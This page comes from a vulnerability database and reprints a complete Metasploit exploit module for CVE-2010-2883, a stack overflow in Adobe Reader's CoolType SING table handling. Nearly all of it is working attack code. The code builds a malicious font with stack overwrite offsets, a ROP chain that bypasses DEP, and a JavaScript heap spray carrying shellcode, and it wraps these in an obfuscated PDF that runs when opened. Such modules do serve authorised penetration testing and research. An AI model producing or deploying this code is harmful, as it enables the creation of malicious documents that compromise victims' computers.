Lucene search
K

Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow

🗓️ 08 Sep 2010 23:05:18Reported by Unknown, sn0wfl0w, jduck <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 43 Views

Adobe CoolType SING Table Stack Buffer Overflow in Adobe Reader versions 8.2.4 and 9.3.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'zlib'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking # aslr+dep bypass, js heap spray, rop, stack bof

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table
        handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior versions are
        assumed to be vulnerable as well.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown',    # 0day found in the wild
          'sn0wfl0w',   # initial analysis, also @vicheck on twitter
          'jduck'       # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2010-2883' ],
          [ 'OSVDB', '67849'],
          [ 'URL', 'http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html' ],
          [ 'URL', 'http://www.adobe.com/support/security/advisories/apsa10-02.html' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC'             => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
          'DisablePayloadHandler' => true
        },
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00",
          'DisableNops' => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Tested OK via Adobe Reader 9.3.4 on Windows XP SP3 -jjd
          # Tested OK via Adobe Reader 9.3.4 on Windows 7 -jjd
          # Tested OK via Adobe Reader 9.3 on XP and 7 -todb
          [ 'Automatic', { }],
        ],
      'DisclosureDate' => '2010-09-07',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
      ])
  end

  def exploit
    ttf_data = make_ttf()

    js_data = make_js(payload.encoded)

    # Create the pdf
    pdf = make_pdf(ttf_data, js_data)

    print_status("Creating '#{datastore['FILENAME']}' file...")

    file_create(pdf)
  end

  def make_ttf
    ttf_data = ""

    # load the static ttf file

    # NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20)
    path = File.join( Msf::Config.data_directory, "exploits", "cve-2010-2883.ttf" )
    fd = File.open( path, "rb" )
    ttf_data = fd.read(fd.stat.size)
    fd.close

    # Build the SING table
    sing = ''
    sing << [
      0, 1,   # tableVersionMajor, tableVersionMinor (0.1)
      0xe01,  # glyphletVersion
      0x100,  # embeddingInfo
      0,      # mainGID
      0,      # unitsPerEm
      0,      # vertAdvance
      0x3a00  # vertOrigin
    ].pack('vvvvvvvv')
    # uniqueName
    # "The uniqueName string must be a string of at most 27 7-bit ASCII characters"
    #sing << "A" * (0x254 - sing.length)
    sing << rand_text(0x254 - sing.length)

    # 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
    sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V')

    # This becomes our new EIP (puts esp to stack buffer)
    ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret
    sing[0x208, 4] = [ret].pack('V')

    # This becomes the new eip after the first return
    ret = 0x4a82a714
    sing[0x18, 4] = [ret].pack('V')

    # This becomes the new esp after the first return
    esp = 0x0c0c0c0c
    sing[0x1c, 4] = [esp].pack('V')

    # Without the following, sub_801ba57 returns 0.
    sing[0x24c, 4] = [0x6c].pack('V')

    ttf_data[0xec, 4] = "SING"
    ttf_data[0x11c, sing.length] = sing

    ttf_data
  end

  def make_js(encoded_payload)

    # The following executes a ret2lib using icucnv36.dll
    # The effect is to bypass DEP and execute the shellcode in an indirect way
    stack_data = [
      0x41414141,   # unused
      0x4a8063a5,   # pop ecx / ret
      0x4a8a0000,   # becomes ecx

      0x4a802196,   # mov [ecx],eax / ret # save whatever eax starts as

      0x4a801f90,   # pop eax / ret
      0x4a84903c,   # becomes eax (import for CreateFileA)

      # -- call CreateFileA
      0x4a80b692,   # jmp [eax]

      0x4a801064,   # ret

      0x4a8522c8,   # first arg to CreateFileA (lpFileName / pointer to "iso88591")
      0x10000000,   # second arg  - dwDesiredAccess
      0x00000000,   # third arg   - dwShareMode
      0x00000000,   # fourth arg  - lpSecurityAttributes
      0x00000002,   # fifth arg   - dwCreationDisposition
      0x00000102,   # sixth arg   - dwFlagsAndAttributes
      0x00000000,   # seventh arg - hTemplateFile

      0x4a8063a5,   # pop ecx / ret
      0x4a801064,   # becomes ecx

      0x4a842db2,   # xchg eax,edi / ret

      0x4a802ab1,   # pop ebx / ret
      0x00000008,   # becomes ebx - offset to modify

      #
      # This points at a neat-o block of code that ... TBD
      #
      #   and [esp+ebx*2],edi
      #   jne check_slash
      # ret_one:
      #   mov al,1
      #   ret
      # check_slash:
      #   cmp al,0x2f
      #   je ret_one
      #   cmp al,0x41
      #   jl check_lower
      #   cmp al,0x5a
      #   jle check_ptr
      # check_lower:
      #   cmp al,0x61
      #   jl ret_zero
      #   cmp al,0x7a
      #   jg ret_zero
      #   cmp [ecx+1],0x3a
      #   je ret_one
      # ret_zero:
      #   xor al,al
      #   ret
      #

      0x4a80a8a6,   # execute fun block

      0x4a801f90,   # pop eax / ret
      0x4a849038,   # becomes eax (import for CreateFileMappingA)

      # -- call CreateFileMappingA
      0x4a80b692,   # jmp [eax]

      0x4a801064,   # ret

      0xffffffff,   # arguments to CreateFileMappingA, hFile
      0x00000000,   # lpAttributes
      0x00000040,   # flProtect
      0x00000000,   # dwMaximumSizeHigh
      0x00010000,   # dwMaximumSizeLow
      0x00000000,   # lpName

      0x4a8063a5,   # pop ecx / ret
      0x4a801064,   # becomes ecx

      0x4a842db2,   # xchg eax,edi / ret

      0x4a802ab1,   # pop ebx / ret
      0x00000008,   # becomes ebx - offset to modify

      0x4a80a8a6,   # execute fun block

      0x4a801f90,   # pop eax / ret
      0x4a849030,   # becomes eax (import for MapViewOfFile

      # -- call MapViewOfFile
      0x4a80b692,   # jmp [eax]

      0x4a801064,   # ret

      0xffffffff,   # args to MapViewOfFile - hFileMappingObject
      0x00000022,   # dwDesiredAccess
      0x00000000,   # dwFileOffsetHigh
      0x00000000,   # dwFileOffsetLow
      0x00010000,   # dwNumberOfBytesToMap

      0x4a8063a5,   # pop ecx / ret
      0x4a8a0004,   # becomes ecx - writable pointer

      0x4a802196,   # mov [ecx],eax / ret - save map base addr

      0x4a8063a5,   # pop ecx / ret
      0x4a801064,   # becomes ecx - ptr to ret

      0x4a842db2,   # xchg eax,edi / ret

      0x4a802ab1,   # pop ebx / ret
      0x00000030,   # becomes ebx - offset to modify

      0x4a80a8a6,   # execute fun block

      0x4a801f90,   # pop eax / ret
      0x4a8a0004,   # becomes eax - saved file mapping ptr

      0x4a80a7d8,   # mov eax,[eax] / ret - load saved mapping ptr

      0x4a8063a5,   # pop ecx / ret
      0x4a801064,   # becomes ecx - ptr to ret

      0x4a842db2,   # xchg eax,edi / ret

      0x4a802ab1,   # pop ebx / ret
      0x00000020,   # becomes ebx - offset to modify

      0x4a80a8a6,   # execute fun block

      0x4a8063a5,   # pop ecx / ret
      0x4a801064,   # becomes ecx - ptr to ret

      0x4a80aedc,   # lea edx,[esp+0xc] / push edx / push eax / push [esp+0xc] / push [0x4a8a093c] / call ecx / add esp, 0x10 / ret

      0x4a801f90,   # pop eax / ret
      0x00000034,   # becomes eax

      0x4a80d585,   # add eax,edx / ret

      0x4a8063a5,   # pop ecx / ret
      0x4a801064,   # becomes ecx - ptr to ret

      0x4a842db2,   # xchg eax,edi / ret

      0x4a802ab1,   # pop ebx / ret
      0x0000000a,   # becomes ebx - offset to modify

      0x4a80a8a6,   # execute fun block

      0x4a801f90,   # pop eax / ret
      0x4a849170,   # becomes eax (import for memcpy)

      # -- call memcpy
      0x4a80b692,   # jmp [eax]

      0xffffffff,   # this stuff gets overwritten by the block at 0x4a80aedc, becomes ret from memcpy
      0xffffffff,   # becomes first arg to memcpy (dst)
      0xffffffff,   # becomes second arg to memcpy (src)
      0x00001000,   # becomes third arg to memcpy (length)
      #0x0000258b,   # ??
      #0x4d4d4a8a,   # ??
    ].pack('V*')

    var_unescape  = rand_text_alpha(rand(100) + 1)
    var_shellcode = rand_text_alpha(rand(100) + 1)

    var_start     = rand_text_alpha(rand(100) + 1)

    var_s         = 0x10000
    var_c         = rand_text_alpha(rand(100) + 1)
    var_b         = rand_text_alpha(rand(100) + 1)
    var_d         = rand_text_alpha(rand(100) + 1)
    var_3         = rand_text_alpha(rand(100) + 1)
    var_i         = rand_text_alpha(rand(100) + 1)
    var_4         = rand_text_alpha(rand(100) + 1)

    payload_buf = ''
    payload_buf << stack_data
    payload_buf << encoded_payload

    escaped_payload = Rex::Text.to_unescape(payload_buf)

    js = %Q|
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
#{var_b} += #{var_shellcode};
#{var_b} += #{var_c};
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
var #{var_4} = new Array();
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
|

    js
  end

  def random_non_ascii_string(count)
    result = ""
    count.times do
      result << (rand(128) + 128).chr
    end
    result
  end

  def io_def(id)
    "%d 0 obj \n" % id
  end

  def io_ref(id)
    "%d 0 R" % id
  end


  #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
  def n_obfu(str)
    #return str
    result = ""
    str.scan(/./u) do |c|
      if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
        result << "#%x" % c.unpack("C*")[0]
      else
        result << c
      end
    end
    result
  end


  def ascii_hex_whitespace_encode(str)
    result = ""
    whitespace = ""
    str.each_byte do |b|
      result << whitespace << "%02x" % b
      whitespace = " " * (rand(3) + 1)
    end
    result << ">"
  end


  def make_pdf(ttf, js)

    #swf_name = rand_text_alpha(8 + rand(8)) + ".swf"

    xref = []
    eol = "\n"
    endobj = "endobj" << eol

    # Randomize PDF version?
    pdf = "%PDF-1.5" << eol
    pdf << "%" << random_non_ascii_string(4) << eol

    # catalog
    xref << pdf.length
    pdf << io_def(1) << n_obfu("<<") << eol
    pdf << n_obfu("/Pages ") << io_ref(2) << eol
    pdf << n_obfu("/Type /Catalog") << eol
    pdf << n_obfu("/OpenAction ") << io_ref(11) << eol
    # The AcroForm is required to get icucnv36.dll to load
    pdf << n_obfu("/AcroForm ") << io_ref(13) << eol
    pdf << n_obfu(">>") << eol
    pdf << endobj

    # pages array
    xref << pdf.length
    pdf << io_def(2) << n_obfu("<<") << eol
    pdf << n_obfu("/MediaBox ") << io_ref(3) << eol
    pdf << n_obfu("/Resources ") << io_ref(4) << eol
    pdf << n_obfu("/Kids [") << io_ref(5) << "]" << eol
    pdf << n_obfu("/Count 1") << eol
    pdf << n_obfu("/Type /Pages") << eol
    pdf << n_obfu(">>") << eol
    pdf << endobj

    # media box
    xref << pdf.length
    pdf << io_def(3)
    pdf << "[0 0 595 842]" << eol
    pdf << endobj

    # resources
    xref << pdf.length
    pdf << io_def(4)
    pdf << n_obfu("<<") << eol
    pdf << n_obfu("/Font ") << io_ref(6) << eol
    pdf << ">>" << eol
    pdf << endobj

    # page 1
    xref << pdf.length
    pdf << io_def(5) << n_obfu("<<") << eol
    pdf << n_obfu("/Parent ") << io_ref(2) << eol
    pdf << n_obfu("/MediaBox ") << io_ref(3) << eol
    pdf << n_obfu("/Resources ") << io_ref(4) << eol
    pdf << n_obfu("/Contents [") << io_ref(8) << n_obfu("]") << eol
    pdf << n_obfu("/Type /Page") << eol
    pdf << n_obfu(">>") << eol # end obj dict
    pdf << endobj

    # font
    xref << pdf.length
    pdf << io_def(6) << n_obfu("<<") << eol
    pdf << n_obfu("/F1 ") << io_ref(7) << eol
    pdf << ">>" << eol
    pdf << endobj

    # ttf object
    xref << pdf.length
    pdf << io_def(7) << n_obfu("<<") << eol
    pdf << n_obfu("/Type /Font") << eol
    pdf << n_obfu("/Subtype /TrueType") << eol
    pdf << n_obfu("/Name /F1") << eol
    pdf << n_obfu("/BaseFont /Cinema") << eol
    pdf << n_obfu("/Widths []") << eol
    pdf << n_obfu("/FontDescriptor ") << io_ref(9)
    pdf << n_obfu("/Encoding /MacRomanEncoding")
    pdf << n_obfu(">>") << eol
    pdf << endobj

    # page content
    content = "Hello World!"
    content = "" +
      "0 g" + eol +
      "BT" + eol +
      "/F1 32 Tf" + eol +
      "32 Tc" + eol +
      "1 0 0 1 32 773.872 Tm" + eol +
      "(" + content + ") Tj" + eol +
      "ET"

    xref << pdf.length
    pdf << io_def(8) << "<<" << eol
    pdf << n_obfu("/Length %s" % content.length) << eol
    pdf << ">>" << eol
    pdf << "stream" << eol
    pdf << content << eol
    pdf << "endstream" << eol
    pdf << endobj

    # font descriptor
    xref << pdf.length
    pdf << io_def(9) << n_obfu("<<")
    pdf << n_obfu("/Type/FontDescriptor/FontName/Cinema")
    pdf << n_obfu("/Flags %d" % (2**2 + 2**6 + 2**17))
    pdf << n_obfu("/FontBBox [-177 -269 1123 866]")
    pdf << n_obfu("/FontFile2 ") << io_ref(10)
    pdf << n_obfu(">>") << eol
    pdf << endobj

    # ttf stream
    xref << pdf.length
    compressed = Zlib::Deflate.deflate(ttf)
    pdf << io_def(10) << n_obfu("<</Length %s/Filter/FlateDecode/Length1 %s>>" % [compressed.length, ttf.length]) << eol
    pdf << "stream" << eol
    pdf << compressed << eol
    pdf << "endstream" << eol
    pdf << endobj

    # js action
    xref << pdf.length
    pdf << io_def(11) << n_obfu("<<")
    pdf << n_obfu("/Type/Action/S/JavaScript/JS ") + io_ref(12)
    pdf << n_obfu(">>") << eol
    pdf << endobj

    # js stream
    xref << pdf.length
    compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
    pdf << io_def(12) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
    pdf << "stream" << eol
    pdf << compressed << eol
    pdf << "endstream" << eol
    pdf << endobj

    ###
    # The following form related data is required to get icucnv36.dll to load
    ###

    # form object
    xref << pdf.length
    pdf << io_def(13)
    pdf << n_obfu("<</XFA ") << io_ref(14) << n_obfu(">>") << eol
    pdf << endobj

    # form stream
    xfa = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config xmlns="http://www.xfa.org/schema/xci/2.6/">
<present><pdf><interactive>1</interactive></pdf></present>
</config>
<template xmlns="http://www.xfa.org/schema/xfa-template/2.6/">
<subform name="form1" layout="tb" locale="en_US">
<pageSet></pageSet>
</subform></template></xdp:xdp>
EOF

    xref << pdf.length
    pdf << io_def(14) << n_obfu("<</Length %s>>" % xfa.length) << eol
    pdf << "stream" << eol
    pdf << xfa << eol
    pdf << "endstream" << eol
    pdf << endobj

    ###
    # end form stuff for icucnv36.dll
    ###


    # trailing stuff
    xrefPosition = pdf.length
    pdf << "xref" << eol
    pdf << "0 %d" % (xref.length + 1) << eol
    pdf << "0000000000 65535 f" << eol
    xref.each do |index|
      pdf << "%010d 00000 n" % index << eol
    end

    pdf << "trailer" << eol
    pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol

    pdf << "startxref" << eol
    pdf << xrefPosition.to_s() << eol

    pdf << "%%EOF" << eol
    pdf
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation